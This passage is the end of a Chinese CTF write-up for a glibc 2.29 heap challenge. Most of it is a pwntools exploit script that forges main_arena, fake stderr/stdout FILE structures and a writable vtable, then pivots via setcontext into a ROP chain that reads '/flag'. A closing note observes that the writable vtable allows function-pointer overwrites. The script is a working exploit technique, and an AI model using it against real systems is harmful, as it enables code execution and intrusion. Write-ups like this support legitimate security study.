part2 += rops+'\x00'*(0xba0-0xae0+8-0x10-len(rops))
part2 += p64(libc_base+(0x7ffff7f6bba8-static_libc))+'\x00'*(0xc08-0xbb0+8)+p64(0)*2+p64(libc_base+(0x7ffff7e20190-static_libc))+p64(0)*3
payload += part2
#start with main_arena
main_arena = p64(0)+p64(0)#have_fastchunks = 0
main_arena += p64(0)*10
#fake top chunk
main_arena += p64(fake_top_chunk)+p64(0)*3
payload += main_arena
#satrt:0x7ffff7f6bcc0 end:0x7ffff7f6c498
main_arena1 = ''
for i in range(0,(0x7ffff7f6c498-0x7ffff7f6bcc0+8)/8,2):
main_arena1 += p64(libc_base + (0x7ffff7f6bcc0-static_libc) - 0x10 + (i/2)*0x10)*2
payload += main_arena1
#begin with 0x7ffff7f6c4a0
part3 = flat([
0x4,
0x0,
libc_base+(0x7ffff7f6bc40-static_libc),
0,
1,
0x21000,
0x21000,
libc_base+(0x7ffff7e21a90-static_libc),
libc_base+(0x7ffff7e230b0-static_libc),
0x0,
libc_base+(0x7ffff7f37f3d-static_libc),
libc_base+(0x7ffff7f37f3d-static_libc),
libc_base+(0x7fffffffe878-static_libc),
libc_base+(0x7fffffffe876-static_libc),
0,
0,
0,
1,
2,
libc_base+(0x7ffff7f6f2d8-static_libc),
0,
0xffffffffffffffff,
libc_base+(0x7ffff7f6a6e0-static_libc),
libc_base+(0x7ffff7f3de48-static_libc),
libc_base+(0x7ffff7f68580-static_libc),
libc_base+(0x7ffff7f6c568-static_libc),
libc_base+(0x7ffff7f68b40-static_libc),
libc_base+(0x7ffff7f693c0-static_libc),
libc_base+(0x7ffff7f68900-static_libc),
libc_base+(0x7ffff7f68880-static_libc),
0,
libc_base+(0x7ffff7f69080-static_libc),
libc_base+(0x7ffff7f690e0-static_libc),
libc_base+(0x7ffff7f69160-static_libc),
libc_base+(0x7ffff7f69220-static_libc),
libc_base+(0x7ffff7f692a0-static_libc),
libc_base+(0x7ffff7f69300-static_libc),
libc_base+(0x7ffff7f213e0-static_libc),
libc_base+(0x7ffff7f204e0-static_libc),
libc_base+(0x7ffff7f20ae0-static_libc),
])
part3 += p64(libc_base+(0x7ffff7f38678-libc_base))*13+p64(0)*3+p64(libc_base+(0x7ffff7f6c680-static_libc))+p64(0)*3
payload += part3
#fake stderr
fake_stderr = p64(0xfbad2087)+p64(libc_base+(0x7ffff7f6c703-static_libc))*7+p64(libc_base+(0x7ffff7f6c704-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6c760-static_libc))+p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6e570-static_libc))+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6b780-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6c748-static_libc))+p64(0)+p64(libc_base+(0x7ffff7f6d560-static_libc))
payload += fake_stderr
#fake stdout
fake_stdout = p64(0)+p64(libc_base+(0x7ffff7f6c7e3-static_libc))*7+p64(libc_base+(0x7ffff7f6c7e4-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6ba00-static_libc))+p64(1)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6e580-static_libc))+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6b8c0-static_libc))+p64(0)*3+p64(0xffffffff)+p64(libc_base+(0x7ffff7f6c828-static_libc))+p64(0)+p64(IO_helper_jumps)
payload += fake_stdout
part4 = p64(libc_base+(0x7ffff7f6c680-static_libc))+p64(libc_base+(0x7ffff7f6c760-static_libc))+p64(libc_base+(0x7ffff7f6ba00-static_libc))
part4 += flat([
libc_base+(0x7ffff7dade90-static_libc),
libc_base+(0x7ffff7f1bdd0-static_libc),
libc_base+(0x7ffff7f1d000-static_libc),
libc_base+(0x7ffff7f1d030-static_libc),
libc_base+(0x7ffff7f1d090-static_libc),
libc_base+(0x7ffff7f1d2e0-static_libc),
libc_base+(0x7ffff7f1d4e0-static_libc),
libc_base+(0x7ffff7f1d5b0-static_libc),
libc_base+(0x7ffff7f1d5f0-static_libc),
libc_base+(0x7ffff7f1d650-static_libc),
libc_base+(0x7ffff7e2e390-static_libc),
libc_base+(0x7ffff7f1d770-static_libc),
libc_base+(0x7ffff7f1d7b0-static_libc),
libc_base+(0x7ffff7f1d810-static_libc),
libc_base+(0x7ffff7f1d880-static_libc),
libc_base+(0x7ffff7e9f2a0-static_libc),
libc_base+(0x7ffff7f1d890-static_libc),
libc_base+(0x7ffff7f1d940-static_libc),
libc_base+(0x7ffff7f1d980-static_libc),
libc_base+(0x7ffff7ec7150-static_libc),
libc_base+(0x7ffff7f1da40-static_libc),
libc_base+(0x7ffff7f6c900-static_libc),
libc_base+(0x7ffff7f1dbb0-static_libc),
libc_base+(0x7ffff7f1dc30-static_libc),
libc_base+(0x7ffff7ed8890-static_libc),
libc_base+(0x7ffff7f1dc50-static_libc),
libc_base+(0x7ffff7f1dc80-static_libc),
libc_base+(0x7ffff7f1dcb0-static_libc),
libc_base+(0x7ffff7f1dce0-static_libc),
libc_base+(0x7ffff7f1dd10-static_libc),
libc_base+(0x7ffff7f1ddd0-static_libc),
])
part4 += p64(0)*2
payload += part4
rop_addr = libc_base + (0x7ffff7f6baf0-static_libc)
fake_vatable = p64(0)*2 + flat([
libc_base+(0x7ffff7e18a70-static_libc),
libc_base+(0x7ffff7dfb530-static_libc),
libc_base+(0x7ffff7e18140-static_libc),
libc_base+(0x7ffff7e18150-static_libc),
libc_base+(0x7ffff7e197b0-static_libc),
libc_base+(0x7ffff7e181b0-static_libc),
libc_base+(0x7ffff7e183b0-static_libc),
libc_base+(0x7ffff7e18ae0-static_libc),
libc_base+(0x7ffff7e18800-static_libc),
libc_base+(0x7ffff7e186d0-static_libc),
libc_base+(0x7ffff7e18a60-static_libc),
arg_list[0],
0,
rop_addr-8,
libc_base+(0x7ffff7e198f0-static_libc),
0,
libc_base+(0x7ffff7e19900-static_libc),
])
part5 = p64(0)+p64(rop_addr)+p64(leave_ret)+'/flag'.ljust(0x20,'\x00')+p64(libc.sym['setcontext']+53)
payload += fake_vatable + part5
p.recvuntil("2 : ")
p.send(payload)
p.interactive()
exp()
总结
从这道题目上可以看到glibc 2.29
虽然没有去掉vtable check
,但是vtable
可写导致可以覆写上面的函数指针,这或许会成为一些题目的新的出题思路。